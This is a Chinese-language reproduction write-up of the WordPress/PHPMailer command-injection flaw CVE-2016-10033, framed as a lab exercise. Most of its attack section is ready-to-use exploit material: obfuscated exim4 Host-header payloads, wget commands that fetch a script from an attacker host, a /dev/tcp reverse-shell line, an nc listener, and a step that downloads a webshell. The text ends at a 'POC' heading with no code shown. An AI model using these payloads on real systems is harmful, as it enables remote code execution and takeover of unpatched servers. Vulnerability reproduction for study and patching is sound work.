WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033)复现分析

漏洞信息

WordPress 是一种使用 PHP 语言开发的博客平台，用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统（CMS）来使用。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞，攻击者只需巧妙地构造出一个恶意邮箱地址，即可写入任意文件，造成远程命令执行的危害。

漏洞编号

CVE-2016-10033

影响版本

WordPress <= 4.7.1 PHPMailer < 5.2.18

测试环境

  1. 拉取镜像到本地
$ docker pull medicean/vulapps:w_wordpress_6
  1. 启动环境
$ docker run -d -p 8000:80 medicean/vulapps:w_wordpress_6

-p 8000:80 前面的 8000 代表物理机的端口，可随意指定。

访问 http://127.0.0.1:8000 看到 WordPress 主界面代表启动成功

漏洞分析

漏洞页面：/wp-login.php?action=lostpassword

此处是管理员重置密码页面，wordpress使用phpmailer组件进行重置密码邮件的发送，但是phpmailer < 5.2.18之前的版本存在命令注入漏洞，具体你可以先阅读分析文章链接 。

我们来看看这个漏洞在wordpress中的情况。漏洞文件是class.phpmailer.php，我们在wordpress中搜索查看这个文件，该文件在在wp-includes目录下。我们可以发现几行关键代码：

/**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

我们发现，实际上phpmailer组件是调用linux系统命令sendmail进行邮件发送，命令格式为：sendmail -t -i -fusername@hostname。并且我们继续审计代码发现：

/**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

serverHostname函数通过传入的SERVER_NAME参数来获取主机名，该主机名即HTTP请求报文中的host值，但是SERVER_NAME参数并没有经过任何过滤，因此我们可以进行任意构造拼接，从而产生了系统命令注入漏洞。

更棒的是，sendmail 提供了-O和-X参数，-X参数用于写入日志文件， 我们可以使用-OQueueDirectory=/tmp/ -X/tmp/smtp.php命令组合，它会将发送的邮件保存到/tmp/smtp.php中， 那么在请求的时候payload应该类似于这样：

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: aaa( -X/tmp/smtp.php )@qq.com

在@前面，如果加上括号，将可以引入空格，这样就可以拼接到了sendmail命令中并且保存了测试邮件文件。那么如果我们写入的是Webshell后门文件呢？

思路很好，然而现实很无奈。

因此上述的Sendmail技术在这种情况下不起作用，这条路走不通了！

正感觉走投无路的时候，这时候我们不妨喝杯茶冷静一下，为什么sendmail能够产生命令注入漏洞呢？我们去了解一下sendmail。然后就会发现柳暗花明又一村了。我们可以知道ubuntu/debain系统中，已经使用exim4替代了sendmail的功能，我们查看sendmail文件可以发现它是一个链向exim4的软链接文件。

那么我们可以利用exim4的语法参数进行命令执行参数的拼接啊！我们查看exim4的帮助手册，可以发现-be参数

Run Exim in expansion testing mode. Exim  discards  its  root
                 privilege,  to prevent ordinary users from using this mode to
                 read otherwise inaccessible files. If no arguments are given,
                 Exim  runs interactively, prompting for lines of data. Other‐
                 wise, it processes each argument in turn.

                 If Exim was built with USE_READLINE=yes in Local/Makefile, it
                 tries  to  load  the libreadline library dynamically whenever
                 the -be option is used without  command  line  arguments.  If
                 successful,  it  uses the readline() function, which provides
                 extensive line-editing facilities, for reading the test data.
                 A line history is supported.

                 Long expansion expressions can be split over several lines by
                 using backslash continuations. As in Exim's run time configu‐
                 ration,  white  space  at  the start of continuation lines is
                 ignored. Each argument or data line  is  passed  through  the
                 string  expansion  mechanism, and the result is output. Vari‐
                 able values from the configuration file (for example,  $qual‐
                 ify_domain)  are  available,  but  no message-specific values
                 (such as $message_exim_id) are set,  because  no  message  is
                 being processed (but see -bem and -Mset).

                 Note:  If  you  use  this  mechanism to test lookups, and you
                 change the data files or databases you are  using,  you  must
                 exit  and  restart  Exim before trying the same lookup again.
                 Otherwise, because each Exim process caches  the  results  of
                 lookups,  you will just get the same result as before.  Macro
                 processing is done  on  lines  before  string-expansion:  new
                 macros  can  be defined and macros will be expanded.  Because
                 macros in the config file are often used for  secrets,  those
                 are only available to admin users.

简单来说，-be参数是一个字符串拓展测试命令，它可以读取一些变量的数据。比如，$tod_log，它可以显示系统时间。

~$ sendmail -be '$tod_log'
2018-04-20 16:26:47

并且，exim4提供了一些函数用来执行一些命令，如字符串截取函数substr、$run系统调用函数。

我们可以截取空格字符。如图所示，substr函数从第十个字符开始截取，共截取一个字符，也就是时间字符串的第11个字符，是空格字符。

那么同理，我们也可以截取/字符串：

我们测试使用$run函数调用系统命令

到这里，遇到的问题都解决了，我们于是可以构造payload如下，该payload在/tmp/目录下创建test.txt文件：

aa(any -froot@localhost -be ${run{/bin/touch /tmp/test.txt}} null)

空格 ==> ${substr{10}{1}{$tod_log}}

/ ==> ${substr{0}{1}{$spool_directory}}

转换过来就是

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test.txt}} null)

我们去密码重置页面输入重置用户名为admin，提交之后拦截请求，并把host的值修改为我们的payload：

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test.txt}} null)

提交请求：

在/tmp目录下发现成功生成了测试文件。

执行任意命令

实际上我们按照刚才的思路，替换我们想要执行的命令即可。但实际利用起来，还是有些需要注意的地方：

写入shell

反弹shell

思路是利用curl或者wget命令下载远程文件。这里我测试下载执行一个反弹bash脚本。需要注意的地方：

远程反弹shell脚本：172.16.176.1:8080/a.txt，内容：

nohup bash -i >/dev/tcp/172.16.176.1/1337 0<&1 2>&1) &

payload：

aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/rce 172.16.176.1/a.txt}} null)

执行反弹shell：

aa(any -froot@localhost -be ${run{/bin/bash /tmp/rce}} null)

两个payload转换过来就是

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}172.16.176.1${substr{0}{1}{$spool_directory}}a.txt}} null)


aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce}} null)

在反弹主机上用nc监听1337端口，分别按顺序提交payload即可获取到反弹shell

nc -nvv -l -p 1337

写入一句话webshell

同理，可以直接下载一句话webshell，然后菜刀连接。payload：

payload：

aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document a.php 172.16.176.1/a.txt}} null)

转换过来即

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}a.php${substr{10}{1}{$tod_log}}172.16.176.1${substr{0}{1}{$spool_directory}}a.txt}} null)

POC

自动化提交payload，获取反弹shell。通过python -mSimpleHTTPServer 80建立web服务，用于目标下载shell。运行是需要用管理员权限，因为监听了80端口。
